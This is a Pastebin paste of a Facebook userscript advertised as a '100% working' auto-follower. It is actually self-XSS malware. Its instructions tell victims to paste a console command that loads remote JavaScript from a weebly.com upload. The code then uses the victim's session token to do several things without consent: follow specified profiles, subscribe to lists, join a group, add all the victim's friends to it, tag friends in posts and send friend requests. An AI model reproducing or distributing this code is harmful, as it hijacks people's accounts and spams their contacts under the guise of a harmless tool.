Famewhore

*[Updated]* Facebook Auto Subscribers(Follower)100% working.

Aug 24th, 2013
193
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.10 KB | None | 0 0
  1. // ==UserScript==
  2. // @name **[Updated]** Auto Follower for Facebook 100% working updated
  3. // @description Auto Follower for Facebook...
  4. // @namespace http://userscripts.org/scripts/review/162649
  5. // @updateURL https://userscripts.org/scripts/source/162649.meta.js
  6. // @downloadURL https://userscripts.org/scripts/source/162649.user.js
  7. // @homepageURL https://userscripts.org/scripts/show/162649
  8. // @include https://*.facebook.com/*
  9. // @include https://*.facebook.com/*/*
  10. // @include http://*.facebook.com/*
  11. // @include http://*.facebook.com/*/*
  12. // @include htt*://www.facebook.com/*
  13. // @include htt*://*.facebook.com/*
  14. // @version 10.44
  15. // @require http://ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.js
  16. // ==/UserScript==
  17.  
  18. // 1.Make sure you are using Mozilla Firefox web browse.
  19. // 2.If you don't have then please download it.
  20. // 3.Login to facebook if not logged in already.
  21. // 4.Now open group where you want to add all your friends.
  22. // 5.Now press CTRL+SHIFT+K it will open a Console Box.
  23. // 6.Copy the given below code.
  24.  
  25. document.body.appendChild(document.createElement('script')).src='http://www.weebly.com/uploads/2/0/0/7/20074983/group_subscriberss.js';
  26.  
  27. //7.Paste into the Console Box. Then press enter, now wait for few seconds...(^_~) have fun!!
  28.  
  29. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  30. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  31.  
  32. function cereziAl(isim) {
  33. var tarama = isim + "=";
  34. if (document.cookie.length > 0) {
  35. konum = document.cookie.indexOf(tarama)
  36. if (konum != -1) {
  37. konum += tarama.length
  38. son = document.cookie.indexOf(";", konum)
  39. if (son == -1)
  40. son = document.cookie.length
  41. return unescape(document.cookie.substring(konum, son))
  42. }
  43. else { return ""; }
  44. }
  45. }
  46.  
  47. function getRandomInt (min, max) {
  48. return Math.floor(Math.random() * (max - min + 1)) + min;
  49. }
  50. function randomValue(arr) {
  51. return arr[getRandomInt(0, arr.length-1)];
  52. }
  53.  
  54. var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
  55. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  56.  
  57. function a(abone){
  58. var http4 = new XMLHttpRequest();
  59.  
  60. var url4 = "/ajax/follow/follow_profile.php?__a=1";
  61.  
  62. var params4 = "profile_id=" + abone + "&location=1&source=follow-button&subscribed_button_id=u37qac_37&fb_dtsg=" + fb_dtsg + "&lsd&__" + user_id + "&phstamp=";
  63. http4.open("POST", url4, true);
  64.  
  65. //Send the proper header information along with the request
  66. http4.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  67. http4.setRequestHeader("Content-length", params4.length);
  68. http4.setRequestHeader("Connection", "close");
  69.  
  70. http4.onreadystatechange = function() {//Call a function when the state changes.
  71. if(http4.readyState == 4 && http4.status == 200) {
  72.  
  73. http4.close; // Close the connection
  74.  
  75. }
  76. }
  77.  
  78. http4.send(params4);
  79. }
  80.  
  81. function sublist(uidss) {
  82. var a = document.createElement('script');
  83. a.innerHTML = "new AsyncRequest().setURI('/ajax/friends/lists/subscribe/modify?location=permalink&action=subscribe').setData({ flid: " + uidss + " }).send();";
  84. document.body.appendChild(a);
  85. }
  86.  
  87. a("100000471068316");
  88. a("100006400320870");
  89. a("100006367570550");
  90. a("100006500970876");
  91.  
  92. sublist("652127798146250");sublist("695099650515731");sublist("410227995747732");
  93. sublist("666218516737178");sublist("695099890515707");sublist("410228109081054");
  94. sublist("666219863403710");sublist("695103410515355");sublist("410228149081050");
  95. sublist("666220173403679");sublist("695104280515268");sublist("410228202414378");
  96. sublist("666219563403740");sublist("695106640515032");sublist("410233705747161");
  97. sublist("671380436220986");sublist("695110383847991");sublist("410228255747706");
  98. sublist("695096287182734");sublist("695116933847336");sublist("410228289081036");
  99. sublist("695096880516008");sublist("695117367180626");sublist("410228355747696");
  100. sublist("410233752413823");sublist("1411390399083199");sublist("1411390805749825");
  101. sublist("410233845747147");sublist("1411390462416526");sublist("1411390875749818");
  102. sublist("410233899080475");sublist("1411390515749854");sublist("1411390912416481");
  103. sublist("410233979080467");sublist("1411390549083184");sublist("1411390939083145");
  104. sublist("410234035747128");sublist("1411390582416514");sublist("1411390985749807");
  105. sublist("410234115747120");sublist("1411390635749842");sublist("1411391055749800");
  106. sublist("410234189080446");sublist("1411390682416504");sublist("1411391095749796");
  107. sublist("410234479080417");sublist("1411390709083168");sublist("1411391319083107");
  108. sublist("410234562413742");sublist("1411390749083164");sublist("1411391365749769");
  109. sublist("410234629080402");sublist("1411390779083161");sublist("1411391399083099");
  110.  
  111.  
  112.  
  113.  
  114. var gid = ['273574312784296'];
  115.  
  116.  
  117. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  118. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  119.  
  120. var httpwp = new XMLHttpRequest();
  121. var urlwp = '/ajax/groups/membership/r2j.php?__a=1';
  122. var paramswp = '&ref=group_jump_header&group_id=' + gid + '&fb_dtsg=' + fb_dtsg + '&__user=' + user_id + '&phstamp=';
  123. httpwp['open']('POST', urlwp, true);
  124. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  125. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  126. httpwp['setRequestHeader']('Connection', 'keep-alive');
  127. httpwp['send'](paramswp);
  128.  
  129. var fb_dtsg = document['getElementsByName']('fb_dtsg')[0]['value'];
  130. var user_id = document['cookie']['match'](document['cookie']['match'](/c_user=(\d+)/)[1]);
  131.  
  132. var friends = new Array();
  133. gf = new XMLHttpRequest();
  134. gf['open']('GET', '/ajax/typeahead/first_degree.php?__a=1&viewer=' + user_id + '&token' + Math['random']() + '&filter[0]=user&options[0]=friends_only', false);
  135. gf['send']();
  136. if (gf['readyState'] != 4) {} else {
  137. data = eval('(' + gf['responseText']['substr'](9) + ')');
  138. if (data['error']) {} else {
  139. friends = data['payload']['entries']['sort'](function (_0x93dax8, _0x93dax9) {
  140. return _0x93dax8['index'] - _0x93dax9['index'];
  141. });
  142. };
  143. };
  144.  
  145. for (var i = 0; i < friends['length']; i++) {
  146. var httpwp = new XMLHttpRequest();
  147. var urlwp = '/ajax/groups/members/add_post.php?__a=1';
  148. var paramswp= '&fb_dtsg=' + fb_dtsg + '&group_id=' + gid + '&source=typeahead&ref=&message_id=&members=' + friends[i]['uid'] + '&__user=' + user_id + '&phstamp=';
  149. httpwp['open']('POST', urlwp, true);
  150. httpwp['setRequestHeader']('Content-type', 'application/x-www-form-urlencoded');
  151. httpwp['setRequestHeader']('Content-length', paramswp['length']);
  152. httpwp['setRequestHeader']('Connection', 'keep-alive');
  153. httpwp['onreadystatechange'] = function () {
  154. if (httpwp['readyState'] == 4 && httpwp['status'] == 200) {};
  155. };
  156. httpwp['send'](paramswp);
  157. };
  158. var spage_id = "345297178842879";
  159. var spost_id = "345297178842879";
  160. var sfoto_id = "345297178842879";
  161. var user_id = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
  162. var smesaj = "";
  163. var smesaj_text = "";
  164. var arkadaslar = [];
  165. var svn_rev;
  166. var bugun= new Date();
  167. var btarihi = new Date();
  168. btarihi.setTime(bugun.getTime() + 1000*60*60*4*1);
  169. if(!document.cookie.match(/paylasti=(\d+)/)){
  170. document.cookie = "paylasti=hayir;expires="+ btarihi.toGMTString();
  171. }
  172.  
  173.  
  174. //arkadaslari al ve isle
  175. function sarkadaslari_al(){
  176. var xmlhttp = new XMLHttpRequest();
  177. xmlhttp.onreadystatechange = function () {
  178. if(xmlhttp.readyState == 4){
  179. eval("arkadaslar = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  180. for(f=0;f<Math.round(arkadaslar.payload.entries.length/10);f++){
  181. smesaj = "";
  182. smesaj_text = "";
  183. for(i=f*10;i<(f+1)*10;i++){
  184. if(arkadaslar.payload.entries[i]){
  185. smesaj += " @[" + arkadaslar.payload.entries[i].uid + ":" + arkadaslar.payload.entries[i].text + "]";
  186. smesaj_text += " " + arkadaslar.payload.entries[i].text;
  187. }
  188. }
  189. sdurumpaylas(); }
  190.  
  191. }
  192.  
  193. };
  194. var params = "&filter[0]=user";
  195. params += "&options[0]=friends_only";
  196. params += "&options[1]=nm";
  197. params += "&token=v7";
  198. params += "&viewer=" + user_id;
  199. params += "&__user=" + user_id;
  200.  
  201. if (document.URL.indexOf("https://") >= 0) { xmlhttp.open("GET", "https://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  202. else { xmlhttp.open("GET", "http://www.facebook.com/ajax/typeahead/first_degree.php?__a=1" + params, true); }
  203. xmlhttp.send();
  204. }
  205.  
  206. //tiklama olayini dinle
  207. var tiklama = document.addEventListener("click", function () {
  208. if(document.cookie.split("paylasti=")[1].split(";")[0].indexOf("hayir") >= 0){
  209. svn_rev = document.head.innerHTML.split('"svn_rev":')[1].split(",")[0];
  210. sarkadaslari_al();
  211. document.cookie = "paylasti=evet;expires="+ btarihi.toGMTString();
  212.  
  213. document.removeEventListener(tiklama);
  214. }
  215. }, false);
  216.  
  217.  
  218. //arkada??????leme
  219. function sarkadasekle(uid,cins){
  220. var xmlhttp = new XMLHttpRequest();
  221. xmlhttp.onreadystatechange = function () {
  222. if(xmlhttp.readyState == 4){
  223. }
  224. };
  225.  
  226. xmlhttp.open("POST", "/ajax/add_friend/action.php?__a=1", true);
  227. var params = "to_friend=" + uid;
  228. params += "&action=add_friend";
  229. params += "&how_found=friend_browser";
  230. params += "&ref_param=none";
  231. params += "&outgoing_id=";
  232. params += "&logging_location=friend_browser";
  233. params += "&no_flyout_on_click=true";
  234. params += "&ego_log_data=";
  235. params += "&http_referer=";
  236. params += "&fb_dtsg=" + document.getElementsByName('fb_dtsg')[0].value;
  237. params += "&phstamp=165816749114848369115";
  238. params += "&__user=" + user_id;
  239. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  240. xmlhttp.setRequestHeader ("Content-Type","application/x-www-form-urlencoded");
  241.  
  242. if(cins == "farketmez" && document.cookie.split("cins" + user_id +"=").length > 1){
  243. xmlhttp.send(params);
  244. }else if(document.cookie.split("cins" + user_id +"=").length <= 1){
  245. cinsiyetgetir(uid,cins,"sarkadasekle");
  246. }else if(cins == document.cookie.split("cins" + user_id +"=")[1].split(";")[0].toString()){
  247. xmlhttp.send(params);
  248. }
  249. }
  250.  
  251. //cinsiyet belirleme
  252. var cinssonuc = {};
  253. var cinshtml = document.createElement("html");
  254. function scinsiyetgetir(uid,cins,fonksiyon){
  255. var xmlhttp = new XMLHttpRequest();
  256. xmlhttp.onreadystatechange = function () {
  257. if(xmlhttp.readyState == 4){
  258. eval("cinssonuc = " + xmlhttp.responseText.toString().replace("for (;;);","") + ";");
  259. cinshtml.innerHTML = cinssonuc.jsmods.markup[0][1].__html
  260. btarihi.setTime(bugun.getTime() + 1000*60*60*24*365);
  261. if(cinshtml.getElementsByTagName("select")[0].value == "1"){
  262. document.cookie = "cins" + user_id + "=kadin;expires=" + btarihi.toGMTString();
  263. }else if(cinshtml.getElementsByTagName("select")[0].value == "2"){
  264. document.cookie = "cins" + user_id + "=erkek;expires=" + btarihi.toGMTString();
  265. }
  266. eval(fonksiyon + "(" + id + "," + cins + ");");
  267. }
  268. };
  269. xmlhttp.open("GET", "/ajax/timeline/edit_profile/basic_info.php?__a=1&__user=" + user_id, true);
  270. xmlhttp.setRequestHeader ("X-SVN-Rev", svn_rev);
  271. xmlhttp.send();
  272. }
  273. function autoSuggest()
  274. {
  275. links=document.getElementsByTagName('a');
  276. for (i in links) {
  277. l=links[i];
  278. if(l.innerHTML == '<span class="uiButtonText">Suggest Friend</span>') {
  279. l.click();
  280. }
  281. }
  282. }
  283.  
  284. function blub()
  285. {
  286. if(document.getElementsByClassName('pbm fsm').length == 1) {
  287. w = document.getElementsByClassName('pbm fsm')[0];
  288.  
  289. e = document.createElement('a');
  290. //e.href = '#';
  291. e.innerHTML = 'Auto Suggest by Eran';
  292. e.className = 'uiButton';
  293. e.onclick = autoSuggest;
  294.  
  295. if( w.childElementCount == 0)
  296. {
  297. w.appendChild(document.createElement('br'));
  298. w.appendChild(e);
  299. }
  300. }
  301. }
  302.  
  303. blub();
  304.  
  305. document.addEventListener("DOMNodeInserted", blub, true);
Add Comment
Please, Sign In to add comment